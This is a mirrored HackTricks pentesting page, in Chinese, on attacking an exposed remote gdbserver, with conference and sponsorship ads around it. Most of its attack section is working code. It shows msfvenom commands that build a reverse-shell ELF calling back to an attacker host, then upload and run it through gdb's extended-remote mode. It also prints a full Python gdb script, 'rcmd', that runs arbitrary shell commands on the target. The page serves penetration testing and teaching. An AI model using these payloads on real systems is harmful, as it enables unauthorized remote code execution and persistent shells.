mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
214 lines
8.7 KiB
Markdown
214 lines
8.7 KiB
Markdown
# 远程GdbServer渗透测试
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
## **基本信息**
|
||
|
||
**gdbserver**是一个计算机程序，可以远程调试其他程序。它在与要调试的程序相同的系统上运行，允许**GNU调试器从另一个系统连接**；也就是说，只有要调试的可执行文件需要驻留在目标系统（"目标"）上，而源代码和要调试的二进制文件的副本驻留在开发者的本地计算机（"主机"）上。连接可以是TCP或串行线。
|
||
|
||
你可以让**gdbserver在任何端口监听**，而且目前**nmap无法识别该服务**。
|
||
|
||
## 攻击
|
||
|
||
### 上传和执行
|
||
|
||
你可以使用msfvenom轻松创建一个**elf后门**，上传并执行它：
|
||
```bash
|
||
# Trick shared by @B1n4rySh4d0w
|
||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||
|
||
chmod +x binary.elf
|
||
|
||
gdb binary.elf
|
||
|
||
# Set remote debuger target
|
||
target extended-remote 10.10.10.11:1337
|
||
|
||
# Upload elf file
|
||
remote put binary.elf binary.elf
|
||
|
||
# Set remote executable file
|
||
set remote exec-file /home/user/binary.elf
|
||
|
||
# Execute reverse shell executable
|
||
run
|
||
|
||
# You should get your reverse-shell
|
||
```
|
||
### 执行任意命令
|
||
|
||
还有一种方法可以通过从[这里](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)获取的Python自定义脚本使调试器执行任意命令。
|
||
```bash
|
||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||
target extended-remote 192.168.1.4:2345
|
||
|
||
# Load our custom gdb command `rcmd`.
|
||
source ./remote-cmd.py
|
||
|
||
# Change to a trusty binary and run it to load it
|
||
set remote exec-file /bin/bash
|
||
r
|
||
|
||
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
|
||
tb main
|
||
r
|
||
|
||
# Run the remote command, e.g. `ls`.
|
||
rcmd ls
|
||
```
|
||
首先**在本地创建此脚本**：
|
||
|
||
{% code title="remote-cmd.py" %}
|
||
```python
|
||
#!/usr/bin/env python3
|
||
|
||
import gdb
|
||
import re
|
||
import traceback
|
||
import uuid
|
||
|
||
|
||
class RemoteCmd(gdb.Command):
|
||
def __init__(self):
|
||
self.addresses = {}
|
||
|
||
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
|
||
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
|
||
|
||
gdb.execute("set detach-on-fork off")
|
||
gdb.execute("set follow-fork-mode parent")
|
||
|
||
gdb.execute("set max-value-size unlimited")
|
||
gdb.execute("set pagination off")
|
||
gdb.execute("set print elements 0")
|
||
gdb.execute("set print repeats 0")
|
||
|
||
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
|
||
|
||
def preload(self):
|
||
for symbol in [
|
||
"close",
|
||
"execl",
|
||
"fork",
|
||
"free",
|
||
"lseek",
|
||
"malloc",
|
||
"open",
|
||
"read",
|
||
]:
|
||
self.load(symbol)
|
||
|
||
def load(self, symbol):
|
||
if symbol not in self.addresses:
|
||
address_string = gdb.execute(f"info address {symbol}", to_string=True)
|
||
match = re.match(
|
||
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
|
||
)
|
||
if match and len(match.groups()) > 0:
|
||
self.addresses[symbol] = match.groups()[0]
|
||
else:
|
||
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
|
||
|
||
return self.addresses[symbol]
|
||
|
||
def output(self):
|
||
# From `fcntl-linux.h`
|
||
O_RDONLY = 0
|
||
gdb.execute(
|
||
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
|
||
)
|
||
|
||
# From `stdio.h`
|
||
SEEK_SET = 0
|
||
SEEK_END = 2
|
||
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
|
||
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
|
||
if int(gdb.convenience_variable("len")) <= 0:
|
||
gdb.write("No output was captured.")
|
||
return
|
||
|
||
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
|
||
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
|
||
gdb.execute('printf "%s\\n", (char*) $mem')
|
||
|
||
gdb.execute(f'call (int){self.load("close")}($fd)')
|
||
gdb.execute(f'call (int){self.load("free")}($mem)')
|
||
|
||
def invoke(self, arg, from_tty):
|
||
try:
|
||
self.preload()
|
||
|
||
is_auto_solib_add = gdb.parameter("auto-solib-add")
|
||
gdb.execute("set auto-solib-add off")
|
||
|
||
parent_inferior = gdb.selected_inferior()
|
||
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
|
||
child_pid = gdb.convenience_variable("child_pid")
|
||
child_inferior = list(
|
||
filter(lambda x: x.pid == child_pid, gdb.inferiors())
|
||
)[0]
|
||
gdb.execute(f"inferior {child_inferior.num}")
|
||
|
||
try:
|
||
gdb.execute(
|
||
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
|
||
)
|
||
except gdb.error as e:
|
||
if (
|
||
"The program being debugged exited while in a function called from GDB"
|
||
in str(e)
|
||
):
|
||
pass
|
||
else:
|
||
raise e
|
||
finally:
|
||
gdb.execute(f"inferior {parent_inferior.num}")
|
||
gdb.execute(f"remove-inferiors {child_inferior.num}")
|
||
|
||
self.output()
|
||
except Exception as e:
|
||
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
|
||
raise e
|
||
finally:
|
||
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
||
|
||
|
||
RemoteCmd()
|
||
```
|
||
{% endcode %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**DragonJAR Security Conference是一场国际网络安全活动**](https://www.dragonjarcon.org/)，将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一个内容丰富的技术活动，展示了最新的西班牙语研究成果，吸引了来自世界各地的黑客和研究人员。\
|
||
立即在以下链接注册，不要错过这个重要的会议！:
|
||
|
||
{% embed url="https://www.dragonjarcon.org/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|